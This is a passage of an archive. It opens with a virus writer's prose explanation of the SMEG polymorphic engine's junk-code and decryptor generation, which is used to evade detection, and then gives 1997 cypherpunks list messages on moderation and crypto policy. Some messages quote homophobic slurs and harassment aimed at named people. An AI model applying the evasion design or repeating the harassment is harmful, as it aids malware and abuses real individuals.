ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

  1 .. The random number generator.
  2 .. The junk code generator.
  3 .. The decryptor generator.

There are other discrete parts but these three are the ones where most of the
work goes on!

How does it all work?  Well, SMEG goes about generating random decryptors in
the following way:

  1 .. Chooses a random selection of registers to use for the decryptor.
       Leaving the remaining registers as "junk" registers for the junk code
       generator.

  2 .. Chooses one of the compressed pre-coded decryptors.

  3 .. Goes into a loop generating the real decryptor, peppered with junk
       code.

To understand how the selected registers are slotted into the decryptors and
the junk code you must look at the 8086 instructions from a binary level:

      XOR   AX,AX    =    00110001 11000000
      XOR   AX,CX    =    00110001 11001000
      XOR   AX,DX    =    00110001 11010000
      XOR   AX,BX    =    00110001 11011000

You should be able to see a pattern in the binary code for these four 8086
instructions?  Well, all 8086 instructions follow logical patterns, and it is
these patterns that tell the 8086 processor which registers/addressing mode
to use for a particular instruction.  The total amount of instruction formats
and the precise logic regarding the patterns is too complex to go into here. 
However, all good 8086 tutorials/reference guides will explain in full.

SMEG exploits this pattern logic to generate junk code and decryptors with
random registers, as the patterns directly relate to the registers Etc.

SMEG generates junk code in the following way:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Inside SMEG there is a table of the basic binary patterns for all of the 8086
instruction set, but with one important difference, all the register/address
mode bits are zero.  This is called the SKELETON INSTRUCTION TABLE.  The
table also contains various other bytes used by SMEG to determine the
relevant bit positions to "plug in" the register bit patterns.  These
patterns are plugged in via the logic processes OR and AND.  Using this
method, SMEG can generate endless amounts of random 8086 instructions without
destroying any of the registers used by the decryptor proper.
SMEG also contains some discrete logic for producing false CALLS to dummy
subroutines and also false conditional JMPS around the junk code.

SMEG generates the decryptor proper in the following way:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Inside SMEG there is a table containing a selection of common 8086
instructions used in decryptors, such as XOR [index],reg Etc.  These are,
again, stored in SKELETON FORM with some control bytes used by the decryptor
generator.  Also, inside SMEG, there are several pre-coded decryptors stored
in a compressed form.  On average, a complete decryptor can be described to
the decryptor generator in as few as 11 bytes and adding to the list of
pre-coded decryptors is both painless and economical with space!

SMEG generates the Polymorphed decryptor in the following way:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

First it chooses, at random, one of the pre-coded compressed decryptors. 
Next it goes into a loop uncompressing each decryptor instruction, plugging
in the required registers, storing it and then generating (for each real
instruction) a random amount of random instructions.  This loop repeats until
the complete decryptor has been constructed.  The final result is a random
size, random register, random patterned decryptor!

It should also be noted that whenever SMEG generates an INDEXed instruction
it uses either SI, DI or BX at random, also it sometimes uses a random offset.
For example, say the encrypted code started at address 10h, the following
could be used to index this address:

       MOV   SI,10h     ;Start address
       MOV   AL,[SI]    ;Index from initial address

But sometimes SMEG will generate something like the following, again based on
the encrypted code starting at address 10h:

       MOV   DI,0BFAAh      ;Indirect start address
       MOV   AL,[DI+4066h)  ;4066h + 0BFAAh = 10010h (and FFFF = 10h)!!

These indexed and initial values are picked at complete random, and the
examples of 0BFAAh and 4066h are valid, but next time they will be completely
different!

The following are two decryptors that were generated with my SMEG Polymorph
Engine.  It should be noted that I generated 4000 examples with no two alike!
Unfortunately I ran out of hard drive space!  But it is fairly safe to say
that the total number of decryptor combinations would run into the BILLIONS!

All the lines marked with ";junk" in the following listings indicate random
junk instructions that were inserted throughout the actual decryptor, note
that SMEG has the ability to generate junk CALLS to false SUBROUTINES, as
well as general junk conditional jumps!  All lines marked with a * indicate
an actual part of the decryptor proper.  I chose the two generations shown
because their sizes were similar, 386 and 480 bytes.  SMEG produces
decryptors ranging in size from as little as 288 to as much as 1536 bytes.
Even if two decryptors are generated that are the same size the chances of
them being the same are, literally, billions to one!


Neil Tunnicliffe.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 7 Jan 1997 11:30:52 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <Do56ZD7w165w@bwalk.dm.com>
Message-ID: <199701071926.NAA00355@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> ichudov@algebra.com (Igor Chudov @ home) writes:
> > You gave us another example of why charters that restrict moderators'
> > ability to reject posts are good. In soc.culture.russian.moderated
> > we had a similar problem (now resolved completely), when certain anonymous
> > posters posted articles that looked like articles from newspapers.
> 
> Since not a lot of people on this list read soc.culture.*, I'll give a
> slightly different view of how Igor's moderation works in practice.
> 
> The charter of s.c.r.m prohibits flames and gratuitous obscenities.
> However this rule is not enforced.  Certain friends of Igor (including
> some of the s.c.r.m moderators) habitually cross-post articles between
> soc.culture.russian.moderated, soc.culture.russian (unmoderated), and
> a dozen other newsgroups saying things like: "<The s.c.r FAQ maintainer>
> is a cocksucker and a motherfucker and has been arrested for sexually
> molesting small children".  The targets of the flames are not permitted

That is incorrect on several counts. First of all, our charter does not
prohibit flames. It prohibits harassment and spells out what should
be considered harassment:

Charter> Posts of the following types shall be off-topic in
Charter> soc.culture.russian.moderated:
Charter> 
Charter> 6. Harassing posts (of the typical form "[...] is a
Charter>    [Nazi|pedophile|forger|...]. Complain about [his|her|its]
Charter>    evil ways to [ISP|employer|Unesco|Cthulhu|Usenet Cabal|...]."
Charter> 
Charter> The proponent recognizes the distinction between patriotism and
Charter> jingoistic hatemongering.  Further, the distinction between
Charter> good-natured jokes and harassment is necessarily subjective.  The
Charter> moderators will use their best judgement to extend unbiased and
Charter> thorough consideration to submissions.
Charter> 

Second, nobody on scrm called Alex Iatskovski, whom you mentioned above
as SCR FAQ maintainer, "cocksucker", "motherfucker", or "child
molester". In fact, Dejanews search and my private archive indicate that
words cocksucker, motherfucker, molester were not used at all in our
group.

Note that I do not suggest that s.c.r.m. moderators are always fair
or always right or that we always interpret our charter correctly or
that our charter is perfect. The proposal and practice of moderation
is controversial. As you and I know, there are cases when we think that
moderation is justified, and there are cases when we think that it is
not justified.

> to respond on soc.culture.russian.moderated (there's a "blacklist" of
> people whose submissions are junked automatically, w/o a human moderator
> ever seeing them).  

This is, again, incorrect. Neither Alex Iatskovski nor any other person
associated with you has ever been on the black list. The purpose of the
black list is not to ignore people whom we do not like, but to prevent 
mailbombing of moderators.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bruce M." <bkmarsh@feist.com>
Date: Tue, 7 Jan 1997 11:28:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IWD_ism
In-Reply-To: <199701062240.OAA13379@slack.lne.com>
Message-ID: <Pine.BSI.3.91.970107132507.9874B-100000@wichita.fn.net>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 6 Jan 1997, Eric Murray wrote:

> But the objective of this exercise is not computer science
> it is political science.  All that's needed is something that sounds
> super-high-tech enough that (technically ignorant) members of
> Congress will buy into it and fund it.  It doesn't have to actually work.
> This tactic has been successful for the military-industrial complex
> since before the end of WWII.  They're just extending it in the
> new "information age".
> 
> What do you want to bet that we will soon be hearing about
> needing "first strike" InfoWar capability in order to be able to
> "fight on two fronts at once" for "mutually-assured cyber-destruction". 
> The first US Army counter-virus will be called the "peacemaker". :-)

    This is nothing new.  Check out:

http://www.feist.com/~tqdb/h/082195-1.txt

    and even older:

http://www.feist.com/~tqdb/h/051490-1.txt

             ____________________________________________________
            [ Bruce M. - bkmarsh@feist.com - Feist Systems, Inc. ]
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
      "We don't want to get our butts kicked by a bunch of long-haired 
        26-year-olds with earrings." -- General John Sheehan on their 
                       reasons for InfoWar involvement





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 7 Jan 1997 11:20:09 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Moderation=YES
In-Reply-To: <32D1EC42.65B2@gte.net>
Message-ID: <Pine.SUN.3.91.970107140117.3639A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 6 Jan 1997, Dale Thorn wrote:

> cypherpunks@count04.mry.scruznet.com wrote:
> > Please as soon as possible... make this into a moderated list...
> > then I can kiss this noise goodbye...
> 
> Could you please (!) state for the record:
> 
> 1. Why you can't use filters?

Filters aren't intelligent enough.  How do you propose to filter out the 
anonymous dialy warnings about Tim May?

while they originally came with a fixed subject which one could filter, 
they are now popping up anonymously with random crypto related subjects.  
If you filter all anonymous mail, you lose the good anon mail you might 
want to read.  Yeah, you can look for "Timmy, Mayo, Maya" and other 
clues, but these will prevent you from reading other posts which contain 
those words.  Least you expect us to use A.I. filtering which require 
trainng and don't really exist.  Feel free to write one if you are so 
inclined.

Even our friend Vulis has sane posts when he takes his medication (though 
I suspect he does so rarely.)  Filtering out everything he posts doesn't 
make sense, as reading the sane stuff will have some value.  I don't want 
to miss what he says when it is worth my time to read it.

 
> 2. Why you want your news censored?  Do you think when (if) you pick
>    up your favourite big-city newspaper, that having a "Times Staff
>    Writer" edit (rewrite) all the stories is better than getting them
>    straight off the wire, i.e., AP, UPI, etc.?  I'll bet you do, you
>    budding little fascist.


For the same reason that you don't watch all 150+ cable channels on your 
TV (assuming you have a TV and cable) at the same time.  It is a waste of 
your time to attempt it, you have no interest in 99% of it.  You want to 
read what is relevant to your interests, if you have subscribed to 
cypherpunks, it is because some of the material posted here is of 
interest to you.  This material has to do with crypto, crypto-anarchy, 
some politics as it relates to crypto, and crypto related news.  IF you 
want to find out about the mating calls of seaguls, you subscribe to 
whatever mailing lists share that interest; not everyone who subscribes 
to cypherpunks wants to read about seaguls.  Or mad rants about the 
sexual prefs of folks on this list, especially when posted with malice.

Or for that matter tons of posts advertising various crap sent to 
"Fuck_You_Punks" and other such users.  These were clearly requested to 
us by folks who claim their names to be "Fuck_You_Punks"; advertising 
doesn't belong here either.  If you want to advertise on the list, fine, 
pay the list owner for air time.

As for me, I do not read newspapers or watch the news on TV since to me 
they are depressing, boring and useless.

The proposed scheme should not affect anyone in any way.  Those who want 
the filtered list will get it, those who want the spams and flames and 
ads and turds will get them, those who want it all will also get them.

Why are you so opposed to giving people a choice to pick between the 
moderated and unmoderated lists personally?  Just as there is freedom of 
speech, there is the freedom to ignore, to chose to filter or tune out 
flames and turds.  The proposed scheme of having three mailing lists 
empowers the readers of this list to chose for themselves.

Are you so afraid that no one cares about what you have to say, that they 
won't have to listen to you?  Or are you just paranoid and see flashes of 
censorship before your eyes?

Think about it this way: if a device existed that allowed TV viewers to 
not see commercials, would they purchase it?  Why shouldn't you allow 
them to chose to ignore commercials?  Maybe because you're an advertiser 
and are paying for the commercials?  Maybe, but I think most TV watchers 
would love to have such a device; some won't want it, or would want to 
watch the commercials.  But they would have a choice.

How is this any different?


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Tue, 7 Jan 1997 11:37:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: [CRYPTO] Quadratic residues
Message-ID: <199701071937.OAA29838@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy May's family tree goes straight up. All of his 
ancestors were siblings, to dumb to recognize each other in the 
dark.

       /\ o-/\  Timothy May
      ///\|/\\\
     /   /|\   \






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: faried nawaz <nawaz921@cs.uidaho.edu>
Date: Tue, 7 Jan 1997 15:35:13 -0800 (PST)
Subject: $2500 for a class c.
Message-ID: <7130.852679165@bear.cs.uidaho.edu>
MIME-Version: 1.0
Content-Type: text/plain


------- Blind-Carbon-Copy

To: hungry@hungry.com
Cc: chris@uidaho.edu, people@kuoi.sub.uidaho.edu
Subject: $2500 for a class c.
Date: Tue, 07 Jan 1997 15:19:25 PST
Message-ID: <7130.852679165@bear.cs.uidaho.edu>
From: faried nawaz <nawaz921@bear.cs.uidaho.edu>


(two messages follow)



From: gjohnson@dream.season.com (Reality is a point of view)
Subject: IP allocation goes fee based soon?!
Newsgroups: ba.internet
Date: 6 Jan 1997 16:08:04 GMT
Organization: season.com [205.179.33.0]
Path: news.uidaho.edu!newsfeed.orst.edu!newshub.tc.umn.edu!spool.mu.edu!newspump.sol.net!howland.erols.net!agate!news.ucsc.edu!news.scruz.net!gjohnson
Lines: 18
Message-ID: <slrn5d28r9.34.gjohnson@dream.season.com>
NNTP-Posting-Host: 205.179.33.42
Xref: news.uidaho.edu ba.internet:12066

Take a look at

	http://rs.internic.net/arin

for a quiet bombshell, especially Section 2.3.  A Class C block
for $2,500?  If you think that isn't funny there are a few
people that agree with you in threads elsewhere.  Try a dejanews
search on $2500 Class C.  You might also want to take a peek at

	http://www.iahc.org

for news about a commentary period that ends in the next few
days.

- -- 
Gary Johnson                                                          "Wahoo."
gjohnson@season.com    Remember why...




later in the thread --

From: davidm@them.com (David Mandala)
Subject: Re: IP allocation goes fee based soon?!
Newsgroups: ba.internet
Date: Tue, 07 Jan 97 19:10:07 GMT
Organization: Them Productions
Path: news.uidaho.edu!newsfeed.orst.edu!news.uoregon.edu!marlin.ucsf.edu!overload.lbl.gov!agate!spool.mu.edu!newspump.sol.net!howland.erols.net!news.bbnplanet.com!cam-news-hub1.bbnplanet.com!news-xfer.netaxs.com!news.texas.net!news1.best.com!nntp1.best.com!davidm
Lines: 32
Message-ID: <5au72j$rnn@nntp1.best.com>
References: <slrn5d28r9.34.gjohnson@dream.season.com> <e3mca8.3mx@oriole.sbay.org> <southernE3MJxJ.FKq@netcom.com>
NNTP-Posting-Host: davidm.vip.best.com
X-Newsreader: News Xpress 2.0 Beta #2
Xref: news.uidaho.edu ba.internet:12120

I've since heard that their contract run out in 1998, now since they have gone 
from a small nothing company to a widly known disaster, if follows that they 
are making money hand over fist. So before  the contract opens we need to make 
enough noise with the goverment that the contract is NOT relet to them but 
rather to open bid, or to a true non profit alliance of Internet professionals 
to provide the service at cost (which in reality is quite small). Only we can 
make the difference.

In article <southernE3MJxJ.FKq@netcom.com>, southern@netcom.com (Shawn) wrote:
>In article <e3mca8.3mx@oriole.sbay.org>, George Bonser wrote:
>: Billions and Billions of IP addresses are right around the corner
>: and they are going to use the current shortage to set a precedent
>: (sp?) of charging $2500 per block of 256? That would put them in a
>: position to make an absolute KILLING when IPv6 comes out.
>                               ^^^^^^^^^^^^^^^^^^^^^^^^^^^
>
>Give that man a ceegar.
>
>That is, I believe, the point.
>
>All, of course, at $50/year per domain name.
>
>With that kind of income, they might give Microsoft a run for their
>money as being one of the most profitable computer companies in the
>world. <tounge FIRMLY in cheek> :-)
>
>Shawn

/*************************************************************
 David Mandala      Them Productions       San Francisco, CA
 Internet: davidm@them.com CIS: 74156,221  AOL: dism
*************************************************************/



faried
- --
i don't hate people.    | my other car is a cdr
why, some of my closest | linux, the ms-dos of the nineties
friends are people.     | <zorgo> cable and internet.. who needs a life?
        -- stevi@aa.net | http://www.hungry.com/~fn/

------- End of Blind-Carbon-Copy





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marjorie Wisby <wisby@ultra.net.au>
Date: Mon, 6 Jan 1997 21:25:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The FAGGOT list
Message-ID: <2.2.16.19970107154254.256f802c@mailhost.ultra.net.au>
MIME-Version: 1.0
Content-Type: text/plain


At 10:29 AM 6/01/97 -0500, aga wrote:
>On Mon, 6 Jan 1997, Wm_Wallace wrote:
>
>> Blow me!!
>> 
>
>That is another FAGGOT coming out of the woodwork!
>
>> 
>> In article <Pine.LNX.3.95.970103055306.29988A-100000@dhp.com>, aga
>> <aga@dhp.com> wrote:
>> 
>> > On Thu, 2 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
>> > > Date: Thu, 2 Jan 1997 10:50:21 -0500 (EST)
>> > > From: Chris Rapier <rapier@psc.edu>

<snip>

>> > > These are the minutes from the informal meeting we had at IETF.

<deletia>

>> > > Chris Rapier
>> > > Systems Programmer/Cabin Boy 2nd Class
>> > > Pittsburgh Supercomputing Center
>
>The Pittsburgh Supercomputing Center is a well known FAGGOT
>operation, with both Peter Berger and the dyke Esther Felderman
>working there to hire FAGGOTS exclusively for future positions.
>
>> > > 11EE

<deletia>

>> > > 
>> > 
>> > Now it appears we have another problem gathering of faggots here.
>> > Just how many KNOWN faggots are on this list?

<large deleted list of names>

>
>Most of the above men are apparently FAGGOTS, since they
>conspire to censor Freedom Of Speech on the InterNet, under
>the guise of "spam elimination."  Actually, is all a front
>for censorship by homosexuals on the InterNet.
>
>> > All of these who are faggots must be labeled
>> > and watched, as we know that faggots are the worst censors.
>> > 
>> > Let's all hope that John Gilmore fucks Peter Berger up
>> > the ass before he dies.
>> > 
>> > Does anyone know this last guy from Bell Labs?
>> 
>
>The question is does Bell Labs knowingly hire faggots?

With such witty argument, clarity of expression and well reasoned rebuttal,
you certainly have convinced *me*.

I never thought the day would come when I would actually think that, however
much I disagree with them, the pro-censorship people may have some small
arguments on their side - but that was before I saw the sort of trash you
continually spew.

If you have something to say that is of interest, maybe you may gain some
credibility. As it is, I won't be holding my breath, waiting for such a
reversal of form.

Flames welcomed, from such fools as you obviously are. While you are
attacking me, remember your form. Don't let ignorance or reality stop you.
My killfile is quite empty at the moment.

TTYL,

Marjorie

 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 ~   Marjorie N. Wisby                         From every mountain-side   ~
 ~   wisby@ultra.net.au                          Let Freedom ring.        ~     
 ~   http://www.ultra.net.au/~wisby               - Samuel Francis Smith  ~     
 ~                                                      (_America_)       ~
 ~  Have you noticed that people who are most unwilling to accept         ~
 ~  responsibility for their own actions, are the most keen to regulate   ~
 ~  everyone else's?                                                      ~
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Douglas Barnes <cman@c2.net>
Date: Tue, 7 Jan 1997 15:28:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Thoughts on moderation
Message-ID: <3.0.32.19970107152545.00e858bc@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain



Goodness knows most people who are fully engaged in a mailing list
get involved in an unproductive discussion or argument from time to
time. My main assertion about Sandy is that although he has his likes
and dislikes (and is not shy about sharing them) I can't see him
bouncing messages just because someone was disagreeing with him. There
might be someone who is less opinionated, but I think that you need
to find someone who cares enough about a subject to be interested in
moderating it (one antonym of "opinionated" is "dispassionate" -- 
think about it.)

The only way to tell if Sandy will be fair _as a moderator_ is to 
give him a chance. Years of knowing him as a friend, and four months
of sharing an office indicate that while he's stubborn and opinionated,
he's also extremely fairminded, and will not bounce for content he
disagrees with. He also has a broad concept (some might argue too
broad) of acceptable list topics, but since we're looking primarily to
screen out the worst dreck & outright spam, he seems like a logical
choice as moderator.

I don't see this move as censorship of any sort -- cleaning the Augean
stables is more like it. I am profoundly tired of wading through
completely worthless and vapid trash accusing Tim and John of various
sexual perversions. (Note that if the writers actually knew these 
folks, they'd at least be able to write better or more interesting
libel.)


At 10:35 PM 1/6/97 -0800, you wrote:
>Douglas Barnes wrote:
>> 1) I've known Sandy for a couple of years, and I trust him to
>>    use good judgement as a moderator. It will be important to
>>    develop guidelines so that the job can be rotated, but it's also
>>    important that the moderator be someone who doesn't have any
>>    major axe to grind. Sandy has his personal likes and dislikes,
>>    but I don't think he'll ever stoop to tossing out opinions that
>>    he disagrees with.
>
>Wishful thinking, Doug.  Sandy will take an emotional (non-objective)
>position on an issue, and argue it beyond any reasonable limit. I wish
>I had all his replies to things I've said - you'd see what I mean.
>
>Not to promote anyone who I might not be a friend of, but, there are
>people on this list who are "well respected" who are light-years ahead
>of Sandy in areas that are important for a list moderator.
>
>Maybe Gilmore should have publicly announced for a moderator, and then
>let the subscribers pick....
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 10 Jan 1997 09:55:16 -0800 (PST)
To: DAVID ARTHUR <AJN@fs4.ucc.on.ca>
Subject: Re:
Message-ID: <852915820.621052.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


> From:          "DAVID ARTHUR" <AJN@fs4.ucc.on.ca>
> Organization:  Upper Canada College
> To:            cypherpunks@toad.com
> Date:          Mon, 6 Jan 1997 10:54:18 EST
> Subject:       
> Priority:      normal

> unsribrive
> 

Hvng troble weth dyxlesiaxia???

Try the following easy remedy...


To unsubscribe from the cypherpunks mailing list:

Send a message to majordomo@toad.com with the *MESSAGE BODY* reading
exactly as follows:

unsubscribe cypherpunks you@your.domain.com



  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Tue, 7 Jan 1997 15:42:06 -0800 (PST)
To: liz@nym.alias.net (Liz Taylor)
Subject: Re: The Upcoming DES Challenge
In-Reply-To: <19970107230955.978.qmail@anon.lcs.mit.edu>
Message-ID: <199701080002.QAA07748@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


> There is nothing unglamorous about a known plaintext attack, if the
> plaintext is choosen carefully. I don't know anything about bank ATMs
> and the protocols they use, but I presume the PIN is stored on the card
> single DES encrypted. If this is so, anyone can take an ATM card, attack it
> to recover the key and then use that key to recover the PIN for any stolen
> ATM card of that bank (or that branch). Hopefully, the ciphertext/plaintext
> pair that RSA announces will be a real target like this, with the actual key
> disabled. Once the key is recovered, the press can then claim that ATM
> cards are not safe any longer.

	Stolen ATM cards are actually not that valuable. They have
fixed limits and require physical presence to exploit. Try
swift/forex/etc. secret des keys.. those are valuable.

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net 		    C2Net is having a party: http://www.c2.net/party/
http://www.c2.net/				sameer@c2.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Tue, 7 Jan 1997 16:09:18 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Thoughts on moderation
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970108000928Z-10372@INET-05-IMC.itg.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Douglas Barnes

I don't see this move as censorship of any sort -- cleaning the Augean
stables is more like it. I am profoundly tired of wading through
completely worthless and vapid trash accusing Tim and John of various
sexual perversions.
..................................................

So what about determining the lowest parameter of tolerance for style &
content -  how low you can go before your messages are transferred to
the "flames" division?   Then, for instance, Uni could say to Dale:
"you will find my detailed retort to your deluded accusations on the
other list" (which Dale would, of course, go over there and read <g>).

In any case, everyone would know what that sensitive, low point of
intolerance is such that if they descend to it they will be sifted out
and recategorized.

   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Starr <spanky@europa.com>
Date: Tue, 7 Jan 1997 16:14:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: About ICF(International Cryptography Framework)
Message-ID: <32D2E95B.614E@europa.com>
MIME-Version: 1.0
Content-Type: text/plain


Has anyone heard anything or been paying attention to the development of
the ICF(International Cryptography Framework) standard.  This seems to
be an attempt of the US Gov and a FEW of our favorite corps to
completely control cryptography standards as well as to have the keys to
all cryptographical content.

The only information I've found so far is on HP's website

http://www.dmo.hp.com/gsy/security/icf/main.html

I've also managed to get a hold of Ray Bamford (ray_bamford@hp.com)at HP
who seems to have some PR role in this wool over the eyes attempt.  It
seems to be just another (souped-up, in disguise attempt at the clipper
chip except on an International basis).

When I spoke to him he told me that the only information that has been
issued is what you seen in the technical paper, and that the info they
have is extremely exclusive, even if you are a legitimate company
working on cryptography issues, etc.

Check it out...I would definitely like to hear your opinions as well as
if any of you have more information on this subject(newsgroups, mail
lists, etc).

-spanky




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 7 Jan 1997 16:41:17 -0800 (PST)
To: Pierre Uszynski <pierre@rahul.net>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
Message-ID: <3.0.32.19970107164034.006b6044@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:37 AM 1/7/97 -0800, Pierre Uszynski wrote:
>Rich Graves <rcgraves@disposable.com> very correctly mentions:
>
>> 1) Moderator liability and anonymous posting.
>
>I agree that this is actually a critical problem with a filtering
>moderation scheme. Such a scheme appears to provide the capability to
>filter out possible "copyright violations" posts. From what I remember
>of the Netcom/CoS case (without going back to the sources), that may
>mean more liability for the reviewers (and the operator of the
>machine). That's a major point against simple filtering moderation.

I agree that this raises the spectre of liability for messages passed on,
but I'm not sure it's a big problem. I see three broad categories of
information which the moderation liability scheme may suppress:

1.	Copyrighted items such as newspaper/magazine articles
2.	Secrets which are being revealed (e.g., the alleged RC4 source, the
Mykotronix trash stuff) 
3.	Defamation

As to the loss of (1), I'm not heartbroken - much of this information is
already placed online by its owners, and can be referred to with a
hypertext link or a reference instead of being posted in its entirety.
Also, some people (who I don't feel like singling out) currently provide
access to third-party copyrighted information, but in a discreet manner.
The "copyright violations" poster(s) could provide access in this way,
unless they're committed to making John Gilmore and the remailer operators
take the heat for someone else's actions. 

The loss of (2) is regrettable; but Usenet (and other unmoderated forums)
are still available for hit-and-run disclosure of secrets. Also, it's
unclear to what extent (2) will be lost. Given the recent California and
Federal statutory changes strengthening trade secret protection, I think
it's useful to be careful - but it's arguable that neither the alleged RC4
code nor the Mykotronix trash stuff would have been a trade secret
violation. Also, let's weigh the value of what'd be lost (how many of these
messages do we really get?) against the negative value of the crap we're
currently subjected to, and the (speculative) value of posts we don't get
because their authors have left the list because of disgust and annoyance.

I'm not going to lose much sleep over (3). I can't call to mind a single
instance of interesting or useful defamation that I've seen on the Net.

>ichudov@algebra.com (Igor Chudov @ home) responded:
>
>> [in another forum]
>> After long thinking, moderator board has come with the following 
>> solution:
>>
>> 1) We do not know for sure if a certain post violates
>>    some copyrights or not
>> [and more in the same line 2,3,4,5]
>
>Would any of this have mattered in Netcom/CoS?

My hunch is that liability for infringement will focus on defendants'
actions after they knew or had reason to know that a particular act of
copying or distribution was a violation of the copyright owners' rights.
Copying data from one place to another is the essence of the net; holding
owners of machines (or moderators) responsible for violations they couldn't
have stopped is nonsensical. 

I predict (but cannot cite cases so holding) that moderators/listowners
will be held liable for copyright violations they could have detected and
stopped with the exercise of some level of care; but that they will not be
held liable where no reasonable amount of effort on their part could have
prevented the copyright violation. And I think "reasonable" will depend on
the facts at hand. (All of the contributory infringement cases I'm familiar
with have involved a defendant who was aware of, if not actively assisting
with, the underlying infringement.)

>Instead, a system that would forward reviewers' opinions *after the
>fact* does not have any of this problem. And we have already mentioned,
>it is also more powerful (real time initial feed, easy multiple
>feedback feeds, fully compatible with anything else...) although it
>does not reduce bandwidth requirements.

Can you name a software package which runs under Windows or the Mac OS
which automatically processes reviewers' opinions against a mailbox of
incoming mail? Better yet, can you name a Eudora plug-in which does so?
Abandoning an imperfect but workable solution because it's possible to
imagine that someone will create something better someday strikes me as
silly. Comparing theoretical software/strategies with currently implemented
software/strategies is comparing apples and oranges. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Smith <smith@sctc.com>
Date: Tue, 7 Jan 1997 14:46:56 -0800 (PST)
To: vin@shore.net (Vin McLellan)
Subject: Re: Relative Strength of 40-bit Crypto Implementations
Message-ID: <199701072242.QAA01888@shade.sctc.com>
MIME-Version: 1.0
Content-Type: text/plain


: 	A client asked me today about where he could find evidence of the
: relative strength of different encryption algorithms, when all are
: restricted to 40-bit keys.  He assumed dot-Gov was going to restrict his
: export product to the 40-bit limit, but he wanted to provide the strongest
: security he could within that limitation.

There is a tiny technical wrinkle here -- the simpleminded approach is
to use a 40 bit secret key appended to a constant, the smarter
approach is to use some disclosed random data that, combined with 40
secret bits, produces a much longer key. It's like the salt in Unix
passwords.  The simple approach can allow an attacker to use a
